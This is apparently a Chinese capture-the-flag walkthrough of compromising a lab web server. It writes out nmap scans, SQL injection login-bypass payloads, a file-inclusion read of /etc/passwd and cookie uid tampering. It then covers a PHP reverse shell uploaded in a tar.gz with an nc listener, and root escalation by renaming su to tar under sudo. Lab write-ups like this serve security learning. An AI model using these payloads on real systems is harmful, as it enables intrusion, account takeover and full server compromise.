第一步:主机发现与端口扫描
靶机启动界面:
nmap -sn 192.168.119.0/24
nmap --min-rate 10000 -p- 192.168.119.139
nmap -sT -sV -O -p80 192.168.119.139
nmap -sU --min-rate 10000 -p- 192.168.119.139
nmap --script=vuln -p80 192.168.119.139
扫描完成我的靶机ip是 192.168.119.139,开发的端口只有Web的80端口
漏洞扫描发现了有关SQL注入,目录枚举,csrf,dos等漏洞,我们重点关注SQL注入和目录枚举
第二步:SQL注入登录界面
只开了80端口,那就浏览器访问靶机ip,结果就是一个简单的界面,有home和login两个界面:
点击左侧Login跳转至登录界面
遇到登录框,常规思路:弱口令/默认口令/SQL注入/CMS漏洞利用/敏感信息寻找/字典爆破。这个看起来也不是cms,像是程序员自己搭建的网站,试试SQL注入吧,先把用户名和密码都输入单引号'试试
点击Submit之后直接报错了,而且暴露了sql查询语句,可以看到这个sql查询语句对username字段的单引号进行了转义(\'),而password部分没有。因此我们只要username随便输,password用万能密码即可登录:
'or 1=1 #
登录成功,进来之后有提示语,说着应该是alamo的用户:
左侧有一系列栏目可以尝试,首先点击Directory,如下:
是一大堆人的个人信息,注意观察url中存在参数page= ,我们可以尝试文件包含,企图读取/etc/passwd
读取失败了,出现了一堆报错,先无视这些,继续在左边的栏目看看有没有可以代码执行或文件上传的地方。最后在Upload模块发现可以上传文件:
随便上传个文件试试:
对于用户alamo来说,家目录上传是不被允许的。这句话暴露了两点信息,第一,文件上传之后的上传位置可能是用户的家目录,也就是/home/alamo,第二,alamo的权限不够,需要寻找更加高权限的用户。如何以更高权限的用户登录呢?我们可以试图找到存在其他用户的用户名,然后通过SQL注入登录进其他用户的账号。那么如何找到其他用户的用户名呢?可以通过寻找文件包含漏洞,读取/etc/passwd文件。
第三步:文件包含+SQL注入实现越权/直接越权
先去寻找文件包含,注意观察各个页面的url,发现只有参数page,这个我们也简单尝试过了。既然url中暴露的参数我们无法利用,不妨找找是否存在POST型的参数,即存在文件包含漏洞的参数有可能存在于请求体中。那么重点关注的页面应该就是可以提交信息的页面,比如Security界面:
上图这个界面的下拉选项可以选择一些文本信息。很可能选择一项之后,点击Display File就会向后台发送请求,请求体中含有参数,参数的值就是下图中的这些选项(/Email/Acceptable Use/Internet Use等)这里当然可以用burpsuite抓个包看看。
通过F12查看网页源代码中元素查看这个提交的参数
这里可以在源代码中看到
通过参数text_file_name的值的改变,实现不同的Display File,比如如果这里我们选择Email后点击Display File,发送的请求包的请求体中就含有text_file_name=ssp/email.txt,那么如果我们修改前端代码,把ssp/email.txt换成我们想读取的/etc/passwd,如果text_file_name这个参数存在文件包含漏洞的话,我们应该就能读取/etc/passwd了。
如上图,果然存在文件包含漏洞,那么我们可以根据/etc/passwd这个文件看看有啥其他有bash的账户,可以发现有个用户叫etenenbaum,那么我们尝试SQL注入用这个用户登录,看看他的权限咋样。
点击左下角的Logout退出回过头来分析如何注入。在我们最开始尝试输入单引号注入的时候,报错回显了select查询语句:
SELECT * FROM accounts WHERE username='\'' AND password='''
对username中的单引号做了过滤,我们尝试在password中构造闭合,试图使得username='etenenbaum',那么我们只要密码中填写如下的信息即可构造闭合:
' or username='etenenbaum' #
这样的话,如果用户名随便输个aaa,password输入' or username='etenenbaum' #,则查询语句就是:
SELECT * FROM accounts WHERE username='aaa' AND password='' or username='etenenbaum' #'
逻辑就是(假and假)or真 = 真,果然成功登录了etenebaum的账户:
尝试另一种方式登录其他账号,回到用户alamo,任意界面F12查看存储信息,可以发现在cookies中存在一条信息,name为uid,value为1,看起来好像和用户的uid相关,说不定1对应用户alamo,2对应其他用户。
尝试
那么我们把Value的位置修改为2,点击刷新,试试能否越权。发现成功。
看来cookie中存在越权漏洞
第四步:文件上传,文件解析漏洞利用
下面就是尝试这个用户有没有上传权限了,随便上传个文件试用.txt,不勾选下面的Enable the automatic extraction of gzip archives.发现可以:
看来etenenbaum这个用户的权限可以上传文件,那我们试图上传php的反弹shell文件,先构造shell。可以手动写,这回我们直接在kali中搜索并复制到当前目录
locate php-reverse
cp /usr/share/laudanum/php/php-reverse-shell.php .
然后我们vim这个文件,修改反弹shell的ip和端口,ip设置为kali的ip,端口设置为1234
然后尝试上传文件php-reverse-shell,发现可以:
紧接着在etenenbaum的家目录http://10.10.10.131/~etenenbaum/寻找这个文件:
这个路径已经找到了。那么我们只要在kali中启动一个nc监听1234端口即可:
nc -lvnp 1234
点击php-reverse-shell,企图触发反弹shell的代码执行:
这里权限不够,无法触发代码执行,回到文件上传界面,勾选下面的Enable the automatic extraction of gzip archives.这回上传个gzip文件试试,先把这个php反弹shell文件打包为gzip
点击提交后,回到家目录,再次发现这个.gz压缩文件并没有被解压
点击之后还是没有权限
刚刚上传的gz文件理应解压自动解压才对,因为Enable the automatic extraction of gzip archives.的意思是自动从gzip压缩文件中提取出源文件。然而实际情况我们在http://10.10.10.131/~etenenbaum/路径下却并没有看到gz文件被解压缩,这有点奇怪。而进行文件上传的时候,上传成功的页面我们可以看到url的参数page=transfer.php
可能是transfer.php这个文件的逻辑有点问题,我们可以通过刚刚的text_file_name参数的文件包含漏洞,读取这个文件:
看来进行压缩包转换的背后逻辑是用tar xzf解压,那么我们可以用tar czf打包文件,再进行上传:
tar czf shell.tar.gz php-reverse-shell.php
然后我们上传这个shell.tar.gz文件试试,看看后台能否自动提取其中的文件
别忘记勾选Enable the automatic extraction of gzip archives.
好像没有看到新的文件,不过有可能是后台已经从gz中解压出了php-reverse-shell.php,并覆盖了之前的文件,因此我们这次再点击php-reverse-shell.php试试,看看能不能触发代码执行。
回看nc监听的端口,成功拿到了反弹shell
第五步:提权
先看看自己是谁,是www-data
然后用python提高交互性:
python -c "import pty;pty.spawn('/bin/bash')"
然后查看当前权限:
sudo -l
可知,我们可以免密用sudo执行chown chgrp tar mv这几个命令。那么结合mv可以给文件改名的特点,我们只要选择chown chgrp tar三个指令中的任意一个(这里以tar为例)改名为其他名字(tar.orgi),然后再把用于提权的su命令改名为这三个中的一个(tar),然后运行sudo 指令(sudo tar)即可提权:
sudo mv /bin/tar /bin/tar.orgi
sudo mv /bin/su /bin/tar
sudo tar
运行sudo tar就相当于运行sudo su,因为su被我们改名成了tar,然后tar又可以被我们sudo免密运行,成功提权